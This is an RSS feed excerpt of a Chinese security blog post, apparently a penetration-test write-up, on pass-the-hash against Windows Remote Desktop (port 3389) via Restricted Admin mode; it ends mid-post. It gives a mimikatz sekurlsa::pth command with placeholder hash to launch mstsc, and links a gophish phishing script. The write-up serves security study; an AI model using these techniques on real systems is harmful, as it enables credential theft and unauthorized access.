href="https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&amp;mid=2247488207&amp;idx=1&amp;sn=640db6a02ddd8e3870f389511c90de74&amp;scene=21#wechat_redirect" style="color: rgb(24, 99, 161);" data-linktype="2"><a href="https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg" target="_blank">https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg</a></a><br/>4.gophish脚本：<a href="https://github.com/i11us0ry/tools-gophish" target="_blank">https://github.com/i11us0ry/tools-gophish</a></p><p><br/></p><p><br/></p>



<p><a href="2247483848">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=758ced75&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483848%26idx%3D1%26sn%3Dffe61e386955643924c0bec54d36e60d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Apr 2021 10:27:00 +0800</pubDate>
    </item>
    <item>
      <title>攻击3389之PTH</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483818&amp;idx=1&amp;sn=c90d7edf90e074ce78bd08e264825a5d</link>
      <description>攻击3389之PTH</description>
      <content:encoded><![CDATA[<p>
原创 <span>mr.cult</span> <span>2020-11-25 10:00</span> <span style="display: inline-block;"></span>
</p>

<p>攻击3389之PTH</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=17108422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9Z7nyticu1W5GoLAeicKQYrDbpG3okFV4urMrKk97a2DlfKPCpIr0EwPA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">攻击3389之PTH</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">在一次渗透测试过程中遇到了内网机器只开启了</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">3389</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的情况，已经拿下的跳板机是一台</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">2012 R2</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，并且使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">mimikatz</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">获得了本地管理员账户</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">administrator</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">hash</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">：</span><br/></p><p><br/></p><p><img data-ratio="0.3049645390070922" data-w="705" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=091047f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9Qibr6A7iczNavpbdu4ubUz0DIdyEV1MkibibSro6O0icU2kJFjuhiacSxNfA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">此时无法使用常规的135和445端口进行</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">pth攻击</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，随后经过资料查询得知在</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">windows 2012 R2</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">版本以上的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">windows</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">中的远程桌面服务支持</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Restricted Admin mode</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，也就是使用当前账户的凭据来登录远程桌面，无需输入明文密码，此措施是为了防止内存中泄露明文密码，却造成了</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">3389</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">pth</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">攻击</span>。</p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">官方说明：</p><blockquote style="font-style: italic;font-size: 1.1em;line-height: 1.5em;padding-left: 1em;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(213, 213, 213);margin-left: 0px;margin-right: 0px;margin-bottom: 1.5rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="font-size: 16px;"><a href="https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/" target="_blank">https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/</a></span></p></blockquote><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">要针对</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">3389</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">进行</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">pth攻击</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，可以使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">mimikatz</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">hash</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">注入功能，将已经获得的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">hash</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">注入至</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">mstsc</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">进程中</span>：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">sekurlsa::pth /user:administrator /domain:1.1.1.1 /ntlm:111111111111111111111111 <span style="color: rgb(42, 161, 152);">&#34;/run:mstsc.exe /restrictedadmin&#34;</span><br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">随后进行登陆，却遭到拦截：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.29239766081871343" data-w="684" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=59db575f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9iaV3kNd8zgy93COD8ibeH9gRPyx6YWCw8HambL1J5LZFt1rKRrezSL1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">为了验证问题的成因，我将</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">hash</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">随便替换成了一个随机值重新注入，得到的结果是</span>：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.875" data-w="456" data-type="png" 